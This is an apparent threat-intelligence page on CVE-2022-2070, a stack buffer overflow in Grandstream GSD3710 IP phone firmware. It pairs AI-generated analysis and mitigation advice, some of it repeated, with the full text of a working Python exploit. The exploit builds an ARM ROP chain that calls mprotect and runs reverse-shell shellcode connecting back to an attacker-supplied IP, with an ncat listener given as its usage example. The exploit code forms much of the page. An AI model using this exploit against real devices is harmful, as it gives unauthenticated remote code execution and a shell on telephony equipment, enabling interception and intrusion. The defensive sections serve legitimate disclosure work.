Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow
Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow
AI Analysis
Technical Summary
The security threat concerns a stack-based buffer overflow vulnerability in the Grandstream GSD3710 IP phone firmware version 1.0.11.13 and earlier. This vulnerability, identified as CVE-2022-2070, allows an attacker to remotely execute arbitrary code by sending a specially crafted payload to the device's network service listening on port 8081. The exploit leverages a stack buffer overflow triggered during the processing of an authentication command, enabling the attacker to overwrite the return address and hijack the control flow of the program. The provided exploit code is written in Python 3 and uses the Pwntools library to construct a Return-Oriented Programming (ROP) chain that calls mprotect to make the stack executable and then runs a Linux ARM reverse shell shellcode. This shellcode connects back to the attacker’s machine, providing remote command execution capabilities. The exploit targets the ARM architecture, consistent with the device’s hardware, and includes careful handling of bad characters to ensure payload delivery. The attack requires network access to the device’s management port and does not require prior authentication, making it remotely exploitable. No patch or vendor mitigation is currently linked, and no known exploits are reported in the wild yet. The exploit is tested on Linux and macOS environments, indicating ease of use by attackers with moderate technical skills.
Potential Impact
For European organizations using Grandstream GSD3710 IP phones, this vulnerability poses a significant risk. Successful exploitation results in remote code execution with the privileges of the vulnerable service, potentially allowing attackers to gain full control over the device. This can lead to interception or manipulation of voice communications, unauthorized access to internal networks through the compromised device, and lateral movement within corporate environments. The compromise of VoIP infrastructure can disrupt business communications, cause data leakage, and facilitate further attacks such as espionage or ransomware deployment. Given the device’s role in telephony, availability impacts could also degrade critical communication services. The absence of authentication requirements and the remote nature of the exploit increase the attack surface, especially for organizations exposing these devices to untrusted networks or lacking proper segmentation. The exploit’s reliance on ARM architecture and specific firmware versions limits the scope but still affects all devices running vulnerable firmware. The lack of patches or mitigations increases the urgency for organizations to act proactively.
Mitigation Recommendations
1. Immediate network-level controls: Restrict access to the management port (default 8081) of Grandstream GSD3710 devices to trusted internal networks only, using firewall rules or VLAN segmentation to prevent exposure to untrusted or public networks. 2. Device firmware upgrade: Although no patch link is provided, organizations should contact Grandstream support or monitor official channels for firmware updates addressing CVE-2022-2070 and apply them promptly. 3. Network monitoring: Deploy intrusion detection/prevention systems (IDS/IPS) with signatures for this exploit or anomalous traffic patterns targeting port 8081 to detect and block exploitation attempts. 4. Device hardening: Disable unnecessary services and management interfaces on the device to reduce attack surface. 5. Incident response readiness: Prepare to isolate affected devices quickly upon detection of compromise and conduct forensic analysis to assess impact. 6. Vendor engagement: Engage with Grandstream for official guidance and request security advisories or patches. 7. Regular vulnerability scanning: Include these devices in routine security assessments to identify vulnerable firmware versions and unauthorized exposure. 8. Use of network segmentation and zero-trust principles to minimize the impact of a compromised device on the broader network.
Affected Countries
Germany, France, United Kingdom, Italy, Spain, Netherlands, Belgium, Sweden, Poland, Austria
Indicators of Compromise
- exploit-code: #!/usr/bin/env python3 # Exploit Title: Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow # Google Dork: [if applicable] # Date: 2025-05-23 # Exploit Author: Pepelux (user in ExploitDB) # Vendor Homepage: https://www.grandstream.com/ # Software Link: [download link if available] # Version: Grandstream GSD3710 - firmware:1.0.11.13 and lower # Tested on: Linux and MacOS # CVE: CVE-2022-2070 """ Author: Jose Luis Verdeguer (@pepeluxx) Required: Pwntools Example: Terminal 1: $ ncat -lnvp 4444 Terminal 2: $ python 3 CVE-2020-2070.py -ti DEVICE_IP -tp 8081 -ri LOCAL_IP -rp 4444 """ from operator import ge import sys import time from pwn import * import argparse def get_args(): parser = argparse.ArgumentParser( formatter_class=lambda prog: argparse.RawDescriptionHelpFormatter( prog, max_help_position=50)) # Add arguments parser.add_argument('-ti', '--target_ip', type=str, required=True, help='device IP address', dest="device_ip") parser.add_argument('-tp', '--target_port', type=int, required=True, default=8081, help='device port', dest="device_port") parser.add_argument('-ri', '--reverse_ip', type=str, required=True, help='reverse IP address', dest="reverse_ip") parser.add_argument('-rp', '--reverse_port', type=int, required=True, help='reverse port', dest="reverse_port") # Array for all arguments passed to script args = parser.parse_args() try: TI = args.device_ip TP = args.device_port RI = args.reverse_ip RP = args.reverse_port return TI, TP, RI, RP except ValueError: exit() def check_badchars(data): for i in range(len(data)): if data[i] in [0x0, 0x40]: log.warn("Badchar %s detected at %#x" % (hex(data[i]), i)) return True return False def get_shellcode(ip, port): ip_bytes = socket.inet_aton(ip) port_bytes = struct.pack(">H", port) # Linux ARM reverse shell # switch to thumb mode sc = b"\x01\x30\x8F\xE2" # add r3, pc, #1 sc += b"\x13\xFF\x2F\xE1" # bx r3 # socket(2, 1, 0) sc += b"\x02\x20" # movs r0, #2 sc += b"\x01\x21" # movs r1, #1 sc += b"\x92\x1A" # subs r2, r2, r2 sc += b"\xC8\x27" # movs r7, #0xc8 sc += b"\x51\x37" # adds r7, #0x51 sc += b"\x01\xDF" # svc #1 sc += b"\x04\x1C" # adds r4, r0, #0 # connect(r0, &sockaddr, 16) sc += b"\x0C\xA1" # adr r1, #0x30 sc += b"\x4A\x70" # strb r2, [r1, #1] sc += b"\x10\x22" # movs r2, #0x10 sc += b"\x02\x37" # adds r7, #2 sc += b"\x01\xDF" # svc #1 # dup2(sockfd, 0) sc += b"\x3F\x27" # movs r7, #0x3f sc += b"\x20\x1C" # adds r0, r4, #0 sc += b"\x49\x1A" # subs r1, r1, r1 sc += b"\x01\xDF" # svc #1 # dup2(sockfd, 1) sc += b"\x20\x1C" # adds r0, r4, #0 sc += b"\x01\x21" # movs r1, #1 sc += b"\x01\xDF" # svc #1 # dup2(sockfd, 2) sc += b"\x20\x1C" # adds r0, r4, #0 sc += b"\x02\x21" # movs r1, #2 sc += b"\x01\xDF" # svc #1 # execve("/bin/sh") sc += b"\x06\xA0" # adr r0, #0x18 sc += b"\x92\x1A" # subs r2, r2, r2 sc += b"\x49\x1A" # subs r1, r1, r1 sc += b"\x01\x91" # str r1, [sp, #4] sc += b"\x02\x91" # str r1, [sp, #8] sc += b"\x01\x90" # str r0, [sp, #4] sc += b"\x01\xA9" # add r1, sp, #4 sc += b"\xC2\x71" # strb r2, [r0, #7] sc += b"\x0B\x27" # movs r7, #0xb sc += b"\x01\xDF" # svc #1 sc += b"\x02\xFF" sc += port_bytes sc += ip_bytes sc += b"/bin/shX" return sc def main(): ti, tp, ri, rp = get_args() # ROP Gadgets libc_base = 0x76ec1000 mprotect = libc_base + 0x93510+1 pop_lr = libc_base + 0x1848C # pop {r0, r4, r8, ip, lr, pc} pop_pc = libc_base + 0xd7515 # pop {pc} pop_r0 = libc_base + 0x00064bb0+1 # 0x00064bb0 : pop {r0, pc} pop_r5 = libc_base + 0x00003738+1 # 0x00003738 : pop {r5, pc} add_r1_sp = libc_base + 0x000b3c4e+1 # 0x000b3c4e : add r1, sp, #0x14 ; blx r5 # 0x0002f83c (0x0002f83d): mov r0, r1; bx lr mov_r0_r1 = libc_base + 0x0002f83d # 0x0006a086 (0x0006a087): pop {r1, pc} pop_r1 = libc_base + 0x6a087 ands_r0_r1 = libc_base + 0x1feba+1 # 0x0001feba : ands r0, r1 ; bx lr # 0x000a3a42 : movs r4, r0 ; pop {r1, pc} mov_r4_r0 = libc_base + 0x000a3a42+1 # 0x0001fdae (0x0001fdaf): movs r1, r0; bx lr movs_r1_r0 = libc_base + 0x0001fdaf and_r0_f = libc_base + 0x8717e+1 # 0x0008717e : and r0, r0, #0xf ; bx lr movs_r2_r0 = libc_base + 0x0001fc6a+1 # 0x0001fc6a : movs r2, r0 ; bx lr mov_r0_r4 = libc_base + 0x0001f9d4+1 # 0x0001f9d4 : movs r0, r4 ; bx lr blx_sp = libc_base + 0x46595 # 0x00046594 (0x00046595): blx sp shellcode = get_shellcode(ri, rp) auth_command = b"LOG/1.0 END CMD:AUTH_USERNAME @" junk = p32(0x43434343) payload = auth_command payload += b"A" * 144 # The goal is that R0 -> SP # R5 = pop {pc} # because in the the next gadget we have a blx r5 payload += p32(pop_r5) payload += p32(pop_pc) # R5 = pop {pc} # R1 = SP ; BLX pop {pc} payload += p32(add_r1_sp) # add r1, sp, #0x14 ; blx r5 # Restore LR register (because it has been updated by the last BLX gadget) payload += p32(pop_lr) # pop {r0, r4, r8, ip, lr, pc} payload += junk*4 # r0, r4, r8, ip payload += p32(pop_pc) # LR = pop {pc} # R0 = stack address payload += p32(mov_r0_r1) # mov r0, r1; bx lr # R1 = mask page align payload += p32(pop_r1) # pop {r1, pc} payload += p32(0xfffe1001) # R0 = stack address & 0xfffe1001 payload += p32(ands_r0_r1) # ands r0, r1 ; bx lr # R4 = R0 payload += p32(mov_r4_r0) # movs r0, r4 ; bx lr payload += junk # r1 # mprotect params # r0 = shellcode page aligned address # r1 = size(ofshellcode) # r2 = protection (0x7 – RWX) # R2 = 0x7 payload += p32(pop_r0) payload += p32(0x07070707) payload += p32(and_r0_f) # R0 = 7 (RWX) payload += p32(movs_r2_r0) # R2 (prot: 7 - RWX) # R1 = length = 0x10101010 (avoid 0's) payload += p32(pop_r0) payload += p32(0x01010101) payload += p32(movs_r1_r0) # r1 (length: 0x10101010) # R0 = stack address 4k aligned payload += p32(mov_r0_r4) # mprotect(stack, 0x10101010, 0x7) payload += p32(mprotect) payload += p32(blx_sp) # ejecutamos en pila payload += shellcode # shellcode if check_badchars(payload[len(auth_command):]): sys.exit(0) log.info("Device IP: %s:%d" % (ti, tp)) log.info("Attacker IP: %s:%d" % (ri, rp)) log.info("Payload len: %d" % len(payload)) count = 1 while True: try: print('Try: %d' % count) r = remote(ti, tp) r.send(payload) log.success("Payload sent!") # r.close() time.sleep(1) count += 1 except: sleep(3) pass if __name__ == '__main__': main()
Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow
Description
Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow
AI-Powered Analysis
Technical Analysis
The security threat concerns a stack-based buffer overflow vulnerability in the Grandstream GSD3710 IP phone firmware version 1.0.11.13 and earlier. This vulnerability, identified as CVE-2022-2070, allows an attacker to remotely execute arbitrary code by sending a specially crafted payload to the device's network service listening on port 8081. The exploit leverages a stack buffer overflow triggered during the processing of an authentication command, enabling the attacker to overwrite the return address and hijack the control flow of the program. The provided exploit code is written in Python 3 and uses the Pwntools library to construct a Return-Oriented Programming (ROP) chain that calls mprotect to make the stack executable and then runs a Linux ARM reverse shell shellcode. This shellcode connects back to the attacker’s machine, providing remote command execution capabilities. The exploit targets the ARM architecture, consistent with the device’s hardware, and includes careful handling of bad characters to ensure payload delivery. The attack requires network access to the device’s management port and does not require prior authentication, making it remotely exploitable. No patch or vendor mitigation is currently linked, and no known exploits are reported in the wild yet. The exploit is tested on Linux and macOS environments, indicating ease of use by attackers with moderate technical skills.
Potential Impact
For European organizations using Grandstream GSD3710 IP phones, this vulnerability poses a significant risk. Successful exploitation results in remote code execution with the privileges of the vulnerable service, potentially allowing attackers to gain full control over the device. This can lead to interception or manipulation of voice communications, unauthorized access to internal networks through the compromised device, and lateral movement within corporate environments. The compromise of VoIP infrastructure can disrupt business communications, cause data leakage, and facilitate further attacks such as espionage or ransomware deployment. Given the device’s role in telephony, availability impacts could also degrade critical communication services. The absence of authentication requirements and the remote nature of the exploit increase the attack surface, especially for organizations exposing these devices to untrusted networks or lacking proper segmentation. The exploit’s reliance on ARM architecture and specific firmware versions limits the scope but still affects all devices running vulnerable firmware. The lack of patches or mitigations increases the urgency for organizations to act proactively.
Mitigation Recommendations
1. Immediate network-level controls: Restrict access to the management port (default 8081) of Grandstream GSD3710 devices to trusted internal networks only, using firewall rules or VLAN segmentation to prevent exposure to untrusted or public networks. 2. Device firmware upgrade: Although no patch link is provided, organizations should contact Grandstream support or monitor official channels for firmware updates addressing CVE-2022-2070 and apply them promptly. 3. Network monitoring: Deploy intrusion detection/prevention systems (IDS/IPS) with signatures for this exploit or anomalous traffic patterns targeting port 8081 to detect and block exploitation attempts. 4. Device hardening: Disable unnecessary services and management interfaces on the device to reduce attack surface. 5. Incident response readiness: Prepare to isolate affected devices quickly upon detection of compromise and conduct forensic analysis to assess impact. 6. Vendor engagement: Engage with Grandstream for official guidance and request security advisories or patches. 7. Regular vulnerability scanning: Include these devices in routine security assessments to identify vulnerable firmware versions and unauthorized exposure. 8. Use of network segmentation and zero-trust principles to minimize the impact of a compromised device on the broader network.
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Technical Details
- Edb Id
- 52303
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow
#!/usr/bin/env python3 # Exploit Title: Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow # Google Dork: [if applicable] # Date: 2025-05-23 # Exploit Author: Pepelux (user in ExploitDB) # Vendor Homepage: https://www.grandstream.com/ # Software Link: [download link if available] # Version: Grandstream GSD3710 - firmware:1.0.11.13 and lower # Tested on: Linux and MacOS # CVE: CVE-2022-2070 """ Author: Jose Luis Verdeguer (@pepeluxx) Required: Pwntools Example: Terminal 1: $ ncat -lnvp 44... (6608 more characters)
Threat ID: 68489da97e6d765d51d52e96
Added to database: 6/10/2025, 9:03:37 PM
Last enriched: 6/11/2025, 11:52:06 AM
Last updated: 8/10/2025, 2:06:30 PM
Views: 14
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